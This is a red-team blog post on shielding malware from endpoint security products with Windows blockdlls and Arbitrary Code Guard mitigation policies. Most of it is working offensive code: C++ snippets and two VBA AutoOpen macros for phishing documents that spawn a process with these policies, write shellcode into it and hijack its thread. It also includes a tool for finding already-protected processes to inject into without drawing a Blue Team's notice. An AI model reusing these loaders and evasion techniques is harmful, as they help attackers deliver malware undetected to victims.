« Back to home

Protecting Your Malware with blockdlls and ACG

In an update to Cobalt Strike, the blockdlls command was introduced to provide operators with the option of protecting spawned processes from loading non-Microsoft signed DLL’s. This is of course a method of blocking endpoint security products from loading their user-mode code via a DLL with the purpose of hooking and reporting on the execution of suspicious functions.

After a few discussions and tweets looking at just how this is implemented, I was asked some additional questions from people who wanted to use this themselves outside of Cobalt Strike, so in this post I will explore this functionality a little further by showing just how blockdlls works under the hood, how you can use it to protect your malware before a beacon is launched, and look at an additional process security option which could help us to deter endpoint security products from listening in so easily.

blockdlls Internals

blockdlls was released with version 3.14 of Cobalt Strike and is used to protect any child processes spawned by a beacon from loading non-Microsoft signed DLL’s. To leverage this functionality, we simply use the blockdlls command on an active session and spawn a child process (for example, using the spawn command):

Once our child process has been spawned, we can see the resulting protection within something like ProcessHacker:

With the mitigation flag set, if a DLL which has not been signed by Microsoft is attempted to be loaded into the process, we find that this will fail, sometimes with a nice verbose error such as:

So how does Cobalt Strike go about implementing this functionality? Well if we hunt through a CS beacon binary, we see a reference to UpdateProcThreadAttribute:

The Attribute parameter of 0x20007 actually resolves to a definition of PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, and the value of 0x100000000000 resolves to PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON. So what Cobalt Strike is doing here is using a CreateProcess API call along with a STARTUPINFOEX struct containing a mitigation policy which, in this case, is being used to block non-Microsoft signed DLL’s.

If we wanted to recreate this within our own tooling, we can simply use code such as:

#include <Windows.h>
int main()
{
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size = 0;
BOOL ret;
// Required for a STARTUPINFOEXA
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
// Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
// Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
// Initialise our list
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
// Enable blocking of non-Microsoft signed DLLs
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
// Assign our attribute
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
// Finally, create the process
ret = CreateProcessA(
NULL,
(LPSTR)"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
}

Bridging The blockdlls Gap

So we now know just how Cobalt Strike achieves its protection, but during a typical engagement there is still a gap where arbitrary DLL’s may trip us up. Let’s look at a common phishing scenario where we are attempting to deliver a Cobalt Strike beacon via a macro enabled document:

In red we can see processes which do not benefit from blockdlls protection, whereas in blue we see each child spawned process from Cobalt Strike is protected with a mitigation policy. The risk for us here is obviously that a security product can load its DLL into our migrated process (shown here as Internet Explorer) and review our activity.

Bridging this gap however is relatively straight forward using the code shown above along with the PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation option. As we are discussing our initial payload in the context of a Word document, let’s take the opportunity to port this code over to VBA:

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
Private Type DWORD64
dwPart1 As Long
dwPart2 As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
Spare0 As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpBuffer As Any, _
ByVal nSize As Long, _
ByVal lpNumberOfBytesWritten As Long _
) As Boolean
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
Private Declare Function VirtualAllocEx Lib "kernel32" ( _
ByVal hProcess As Long, _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _
) As Long
Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim processPath As String
Dim val As DWORD64
Dim ctx As CONTEXT
Dim alloc As Long
Dim shellcode As Variant
Dim myByte As Long
' Shellcode goes here (jmp $)
shellcode = Array(&HEB, &HFE)
' Path of process to spawn
processPath = "C:\\windows\\system32\\notepad.exe"
' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
val.dwPart1 = 0
val.dwPart2 = &H1000
' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
' Set our mitigation policy
result = UpdateProcThreadAttribute( _
si.lpAttributelist, _
0, _
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
VarPtr(val), _
Len(val), _
ByVal 0&, _
ByVal 0& _
)
si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
' Spawn our process which will only allow MS signed DLL's
result = CreateProcess( _
nullStr, _
processPath, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)
' Alloc memory (RWX for this POC, because... yolo) in process to write our shellcode to
alloc = VirtualAllocEx( _
pi.hProcess, _
0, _
11000, _
MEM_COMMIT + MEM_RESERVE, _
PAGE_EXECUTE_READWRITE _
)
' Write our shellcode
For offset = LBound(shellcode) To UBound(shellcode)
myByte = shellcode(offset)
result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&)
Next offset
' Point EIP register to allocated memory
ctx.ContextFlags = CONTEXT_FULL
result = GetThreadContext(pi.hThread, ctx)
ctx.Eip = alloc
result = SetThreadContext(pi.hThread, ctx)
' Resume execution
ResumeThread (pi.hThread)
End Sub

Used correctly, we see that we can decrease our chances of detection from DLL instrumentation by limiting access to just the initial execution vector:

So what about that Word process left in red? Well there are ways to protect this, for example, we can simply call SetMitigationPolicy along with ProcessSignaturePolicy as a parameter and this would introduce our mitigation policy during runtime, that is, without having to re-execute via CreateProcess. It is likely however that by this point any unwanted DLL’s would already be present within the Word address space way before our VBA runs, and attempting to further manipulate the process and trigger somewhat suspicious API calls could actually increase our chance of detection.

Arbitrary Code Guard

As you are have been reading this you may be wondering about Arbitrary Code Guard (ACG). If you haven’t heard of this before, ACG is another mitigation option which is provided to stop code from allocating and/or modifying executable pages of memory, often required for introducing dynamic code into a process.

To see this mitigation policy in action, let’s create a small program and attempt to use SetMitigationPolicy to add ACG along with a few test cases:

#include <iostream>
#include <Windows.h>
#include <processthreadsapi.h>
int main()
{
STARTUPINFOEX si;
DWORD oldProtection;
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
ZeroMemory(&policy, sizeof(policy));
policy.ProhibitDynamicCode = 1;
void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
printf("[!] Error allocating RWX memory\n");
}
else {
printf("[*] RWX memory allocated: %p\n", mem);
}
printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n");
// Set our mitigation policy
if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false) {
printf("[!] SetProcessMitigationPolicy failed\n");
return 0;
}
// Attempt to allocate RWX protected memory (this will fail)
mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
printf("[!] Error allocating RWX memory\n");
}
else {
printf("[*] RWX memory allocated: %p\n", mem);
}
void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");
// Let's also try a VirtualProtect to see if we can update an existing page to RWX
if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection)) {
printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWX\n", ntAllocateVirtualMemory);
}
else {
printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n", ntAllocateVirtualMemory);
}
}
view raw acg_test.cpp hosted with ❤ by GitHub

If we compile and execute this POC, we will see something like this:

Here we observe that attempts to allocate a RWX page of memory after the SetProcessMitigationPolicy fail as expected, along with attempts to use calls such as VirtualProtect which would allow modification of memory protection.

So why bring this up? Well unfortunately we do see examples of EDR DLL’s being injected which are signed by Microsoft, for example, @Sektor7Net showed us that Crowdstrike Falcon contains one such a DLL which is unaffected by PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON:

Nope, Falcon loads perfectly fine with 'blockdlls' enabled and hooks ntdll. umppcXXXX.dll (Falcon's injected DLL) is digitally signed by MS so no wonder this doesn't prevents EDR injection😄 pic.twitter.com/lDT4gOuYSV
— reenz0h (@Sektor7Net) October 25, 2019

But one common thing that many EDR products will do is to implement userspace hooks around interesting functions (see our previous post on Cylance which uses this exact technique). As hooking typically requires the ability to modify existing executable pages to add a trampoline, a call such as VirtualProtect is usually required to update memory protection. If we remove their ability to create RWX pages of memory, we may can force even a Microsoft signed DLL to fail.

To implement this within our VBA example, all we need to add is a further mitigation option of PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON to enable this protection:

' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
Private Type DWORD64
dwPart1 As Long
dwPart2 As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
Spare0 As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpBuffer As Any, _
ByVal nSize As Long, _
ByVal lpNumberOfBytesWritten As Long _
) As Boolean
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
Private Declare Function VirtualAllocEx Lib "kernel32" ( _
ByVal hProcess As Long, _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _
) As Long
Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim processPath As String
Dim val As DWORD64
Dim ctx As CONTEXT
Dim alloc As Long
Dim shellcode As Variant
Dim myByte As Long
' Shellcode goes here (jmp $)
shellcode = Array(&HEB, &HFE)
' Path of process to spawn
processPath = "C:\\windows\\system32\\notepad.exe"
' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
' and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
val.dwPart1 = 0
val.dwPart2 = &H1010
' Set our mitigation policy
result = UpdateProcThreadAttribute( _
si.lpAttributelist, _
0, _
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
VarPtr(val), _
Len(val), _
ByVal 0&, _
ByVal 0& _
)
si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
' Spawn our process which will only allow MS signed DLL's and disallow dynamic code
result = CreateProcess( _
nullStr, _
processPath, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)
' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and ... yolo)) in process to write our shellcode to
alloc = VirtualAllocEx( _
pi.hProcess, _
0, _
11000, _
MEM_COMMIT + MEM_RESERVE, _
PAGE_EXECUTE_READWRITE _
)
' Write our shellcode
For Offset = LBound(shellcode) To UBound(shellcode)
myByte = shellcode(Offset)
result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&)
Next Offset
' Point EIP register to allocated memory
ctx.ContextFlags = CONTEXT_FULL
result = GetThreadContext(pi.hThread, ctx)
ctx.Eip = alloc
result = SetThreadContext(pi.hThread, ctx)
' Resume execution
ResumeThread (pi.hThread)
End Sub
view raw ACG_x86_poc.vba hosted with ❤ by GitHub

So this is great for protecting processes we are spawning, but what about if we want to inject some of our code into a process which is already protected with ACG? Well a common misconception that I hear is that we are unable to inject code into a process protected by Arbitrary Code Guard as, well we require some form of memory which has been writable and executable. But actually, ACG doesn’t block a remote processes ability to call a function such as VirtualAllocEx.

For example, if we take some simple shellcode to spawn cmd.exe and inject this into a process protected via ACG, we will actually see that this executes just fine:

It should be noted that injecting something like Cobalt Strike beacon will not currently work with this method due to the reliance on allocating and modifying pages of memory to RWX. I’ve tried a few different malleable profile options to work around this (mostly the various userwx options provided), but currently it appears that modification of memory to be writable and later executable is required.

Operational Considerations

Now before we go and introduce these mitigations to all of our loaders/stagers, something that we need to consider is just how this may affect our operational security. For example, if we start to spawn arbitrary processes and protect them all using PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON, we may be sending a flag out to a knowledgable Blue Team who notice that suddenly random processes have mitigation policies assigned (although full credit to teams who spot this in their environment).

To help us to figure out how to blend in effectively, we want to enumerate any existing processes with a policy present. Now we could use Get-ProcessMitigation Powershell cmdlet, which will return any policies defined within the registry, however we know there are other ways to enable protection on a process during runtime, such as the SetMitigationPolicy API call, as well as simply spawning an arbitrary process via CreateProcessA as shown above.

To make sure we profile each process correctly, let’s craft a simple tool which will use the GetProcessMitigationPolicy call to identify assigned mitigation policies:

#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <processthreadsapi.h>
bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege);
void GetProtection(int pid, const char *exe) {
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy;
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy;
HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (pHandle == INVALID_HANDLE_VALUE) {
printf("[!] Error opening handle to %d\n", pid);
return;
}
// Actually retrieve the mitigation policy for ACG
if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) {
printf("[!] Could not enum PID %d [%d]\n", pid, GetLastError());
return;
}
if (dynamicCodePolicy.ProhibitDynamicCode) {
printf("[%s] - ProhibitDynamicCode\n", exe);
}
if (dynamicCodePolicy.AllowRemoteDowngrade) {
printf("[%s] - AllowRemoteDowngrade\n", exe);
}
if (dynamicCodePolicy.AllowThreadOptOut) {
printf("[%s] - AllowThreadOptOut\n", exe);
}
// Retrieve mitigation policy for loading arbitrary DLLs
if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy, sizeof(signaturePolicy))) {
printf("Could not enum PID %d\n", pid);
return;
}
if (signaturePolicy.AuditMicrosoftSignedOnly) {
printf("[%s] AuditMicrosoftSignedOnly\n", exe);
}
if (signaturePolicy.AuditStoreSignedOnly) {
printf("[%s] - AuditStoreSignedOnly\n", exe);
}
if (signaturePolicy.MicrosoftSignedOnly) {
printf("[%s] - MicrosoftSignedOnly\n", exe);
}
if (signaturePolicy.MitigationOptIn) {
printf("[%s] - MitigationOptIn\n", exe);
}
if (signaturePolicy.StoreSignedOnly) {
printf("[%s] - StoreSignedOnly\n", exe);
}
}
int main()
{
HANDLE snapshot;
PROCESSENTRY32 ppe;
HANDLE accessToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) {
printf("[!] Error opening process token\n");
return 1;
}
// Provide ourself with SeDebugPrivilege to increase our enumeration chances
SetPrivilege(accessToken, SE_DEBUG_NAME);
// Prepare handle to enumerate running processes
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("[!] Error: CreateToolhelp32Snapshot\n");
return 2;
}
ppe.dwSize = sizeof(PROCESSENTRY32);
Process32First(snapshot, &ppe);
do {
// Enumerate process mitigations
GetProtection(ppe.th32ProcessID, ppe.szExeFile);
} while (Process32Next(snapshot, &ppe));
}
bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,
lpszPrivilege,
&luid))
{
printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
return TRUE;
}

Running this against a Windows 10 instance in my lab, several processes were found to have enabled mitigations:

Not surprisingly these processes mostly revolve around Edge, however we also have a number of other alternatives such as fontdrvhost.exe and dllhost.exe which can prove to be viable candidates for targeting and aren’t subjected to low-integrity.

So hopefully this post has given you a few additional ideas for spawning and injecting your payloads, and if used carefully, I think we have an effective tool to cause some confusion.

If you do find these options to be effective, give me a shout via the usual channels, it would be good to see examples of vendors who may be affected by blockdlls and ACG. Happy hunting!